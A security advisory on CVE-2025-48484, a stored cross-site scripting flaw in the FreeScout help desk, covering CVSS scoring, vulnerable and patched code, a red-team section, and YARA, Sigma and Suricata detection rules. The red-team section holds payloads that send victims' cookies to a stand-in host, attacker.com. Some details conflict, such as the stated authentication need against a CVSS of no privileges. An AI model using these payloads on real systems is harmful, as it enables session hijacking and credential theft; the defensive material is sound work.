CVE-2025-48484

Executive Summary

CVE-2025-48484 is a stored Cross-Site Scripting (XSS) vulnerability affecting FreeScout, a self-hosted help desk and shared mailbox application. The flaw exists in versions prior to 1.8.178 and stems from improper input validation and sanitization of user-supplied data within the conversation POST body. An authenticated attacker can inject arbitrary JavaScript code that will be executed in the context of other users' browsers when they view the affected conversation. This can lead to session hijacking, credential theft, or defacement. The vulnerability has been patched in version 1.8.178.

Supply Chain & Package Security

FreeScout is a PHP-based application distributed via GitHub and Docker. The vulnerability is not in a third-party package but in the core application logic. Users should verify the integrity of their FreeScout installation by checking the SHA-256 hash of the downloaded release against the official repository. The application does not use NPM, PyPI, Go, or Ruby packages.

CVSS Breakdown & Threat Level

CVSS Score: 6.1 (Medium) Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

• Attack Vector (AV): Network – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): None – An attacker does not need to be authenticated to trigger the XSS (though exploitation typically requires a user to view the malicious input).
• User Interaction (UI): Required – The victim must view the crafted conversation.
• Scope (S): Changed – The XSS can impact resources beyond the vulnerable component.
• Confidentiality (C): Low – Limited data exposure possible.
• Integrity (I): Low – Limited data modification possible.
• Availability (A): None – No impact on availability.

Threat Level: Medium. While the CVSS score is moderate, the potential for session hijacking and lateral movement within the help desk environment elevates the risk for organizations using FreeScout.

Deep Dive & Mechanics

The vulnerability resides in the handling of POST data when creating or updating conversations. FreeScout fails to properly sanitize HTML and JavaScript content within the conversation body. When a user submits a conversation with malicious payloads, the application stores the unsanitized input in the database. Subsequently, when any user (including administrators) views the conversation, the malicious script is rendered in their browser.

The core issue is the lack of output encoding or the use of a weak sanitization library that can be bypassed. Common bypass techniques include:

• Using event handlers like onerror, onload, or onfocus.
• Encoding payloads in base64 or using String.fromCharCode.
• Exploiting SVG or <math> tags.
• Using javascript: URIs in links.

The attack flow:

1. Attacker crafts a POST request to the conversation endpoint with a payload like <img src=x onerror=alert(1)>.
2. The server stores the payload in the database without proper sanitization.
3. Victim loads the conversation page.
4. The payload executes in the victim's browser context.

Vulnerable vs. Patched Code

Vulnerable Code (Pre-1.8.178):

// In app/Http/Controllers/ConversationsController.php or similar
$conversation->body = $request->input('body');
$conversation->save();

The input is directly assigned without any sanitization.

Patched Code (1.8.178):

// Using a sanitization library like HTMLPurifier
$conversation->body = clean($request->input('body'), 'trix');
$conversation->save();

The clean() function (likely from a package like mews/purifier) strips malicious HTML tags and attributes.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A running FreeScout instance (version < 1.8.178).
• An authenticated user session (or ability to trick a user into submitting a conversation).

Exploitation Steps:

1. Log in to FreeScout as a regular user.
2. Create a new conversation or reply to an existing one.
3. In the conversation body, inject the following payload:

   <img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)">
   

4. Submit the conversation.
5. When any other user views the conversation, the script executes, exfiltrating cookies to the attacker's server.

Advanced Payload (Session Hijacking):

<script>
var xhr = new XMLHttpRequest();
xhr.open('GET', 'https://attacker.com/steal?data=' + btoa(document.cookie), true);
xhr.send();
</script>

Blue Team (Defensive)

Detection:

• Monitor for unusual POST requests to /conversations or /conversations/*/reply containing HTML tags or JavaScript.
• Look for outbound connections to unknown domains from the FreeScout server.
• Review web server logs for patterns like <script, onerror, onload.

Hunting:

• Query the database for conversation bodies containing <script or onerror:

  SELECT * FROM conversations WHERE body LIKE '%<script%' OR body LIKE '%onerror%';
  

• Use WAF rules to block common XSS patterns.

Indicators of Compromise (IOCs)

• Network: Outbound HTTP/HTTPS requests to attacker-controlled domains from the FreeScout server.
• File System: Modified or new files in the storage/logs/ directory containing XSS payloads.
• Database: Entries in the conversations table with HTML/JavaScript in the body column.
• Logs: Web server access logs showing POST requests with body=<script> or similar patterns.

Detection Engineering

YARA Rule

rule CVE_2025_48484_XSS_Payload {
    meta:
        description = "Detects XSS payloads targeting FreeScout CVE-2025-48484"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-48484"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /onerror\s*=\s*["']?[^"'\s>]+/is
        $xss3 = /onload\s*=\s*["']?[^"'\s>]+/is
        $xss4 = /javascript\s*:\s*/is
    condition:
        any of them
}

Sigma Rule

title: FreeScout XSS Attempt via Conversation Body
id: 7a8b3c2d-1e4f-5a6b-7c8d-9e0f1a2b3c4d
status: experimental
description: Detects XSS payloads in FreeScout conversation POST requests
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/conversations'
        cs-body|contains:
            - '<script'
            - 'onerror='
            - 'onload='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of HTML in conversations (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-48484 FreeScout XSS Payload Detected"; flow:to_server,established; content:"POST"; http_method; content:"/conversations"; http_uri; pcre:"/<script[^>]*>.*?<\/script>/i"; pcre:"/onerror\s*=\s*["']?[^"'\s>]+/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade FreeScout to version 1.8.178 or later.
2. If immediate upgrade is not possible, implement a Web Application Firewall (WAF) rule to block XSS payloads.
3. Review all existing conversations for signs of exploitation.

Long-Term Mitigations:

• Enforce Content Security Policy (CSP) headers to restrict script execution.
• Implement input validation and output encoding for all user-supplied data.
• Conduct regular security audits and penetration testing.
• Monitor logs for anomalous POST requests.

Workaround:

• Disable HTML in conversation bodies by modifying the application configuration to use plain text only.

Valters IT - DevSecOps & Cyber Threat Intelligence